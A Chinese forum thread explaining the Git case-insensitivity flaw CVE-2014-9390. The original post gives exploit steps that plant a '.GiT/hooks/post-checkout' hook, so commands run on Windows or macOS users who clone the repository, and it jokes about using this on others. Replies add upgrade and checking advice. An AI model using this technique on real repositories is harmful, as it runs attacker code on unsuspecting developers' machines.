Git客户端命令执行漏洞(CVE-2014-9390 )
参考资料http://github.com/blog/1938-git-client-vulnerability-announced
http://www.secpulse.com/archives/3420.html
漏洞成因
The vulnerability concerns Git and Git-compatible clients that access Git repositories in a case-insensitive or case-normalizing filesystem. An attacker can craft a malicious Git tree that will cause Git to overwrite its own .git/config file when cloning or checking out a repository, leading to arbitrary command execution in the client machine. Git clients running on OS X (HFS+) or any version of Microsoft Windows (NTFS, FAT) are exploitable through this vulnerability. Linux clients are not affected if they run in a case-sensitive filesystem.
以上是原文,如果你E文也不好,那就参考我的理解: windows和osx使用的文件系统(NTFS、FAT)不区分文件名的大小写,而Linux则区分。根据这个特性可以在Linux下创建一个大小写区别的.git文件夹,进而覆盖.git的配置文件,从而导致任意命令执行。
测试例子
打开http://gitcasefail.googlecode.com/svn/trunk/这个谷歌代码仓库,可以看到有一个.git和一个.Git目录,关键是.Git这个目录,在里面的hooks目录里面有个post-checkout文件,这个就是导致命令执行的文件。 然后我们直接通过以下命令测试,如果命令执行则说明漏洞存在:
git clone http://gitcasefail.googlecode.com/svn/trunk/repo/
漏洞利用
我们进入Linux系统,然后初始化一个git目录,通过'ls -al'可以看到有.git目录,然后呢,直接创建.gIt文件夹并创建利用脚本:
mkdir .GiT
cd .GiT
mkdir hooks
cd hooks
touch post-checkout
echo whoami>post-checkout
然后发布代码,测试成功后即可发命令给对方进行调戏了~~
我最喜欢调戏了 不错赞一个
Re: Git客户端命令执行漏洞(CVE-2014-9390 )
感谢分享这个漏洞的信息,写得挺清楚的。尤其是对大小写文件系统差异导致的问题解释得很直观,Windows和macOS用户确实需要留意这类利用。测试例子也方便复现,对理解漏洞很有帮助。Re: Git客户端命令执行漏洞(CVE-2014-9390 )
感谢分享,这个漏洞当年在Windows和Mac用户里确实影响挺大的,毕竟不区分大小写的文件系统容易被绕过。那个测试仓库现在还能用吗?之前试过几个类似的,有的已经被删了。Re: Git客户端命令执行漏洞(CVE-2014-9390 )
这个漏洞原理讲得很清楚,Windows和macOS用户确实要当心。测试例子也很直接,clone那个仓库就能验证是否受影响。不过补充一下,Linux只要文件系统区分大小写就不受影响,但如果你在Linux下用VFat或者HFS+挂载的磁盘,也得小心。另外,利用部分演示的是攻击者主动构造恶意仓库,实际防御上建议升级Git到修复版本(1.8.5.6、1.9.4、2.2.1及之后),或者clone后检查.git相关目录名称是否有大小写混淆的情况。感谢分享!
页:
[1]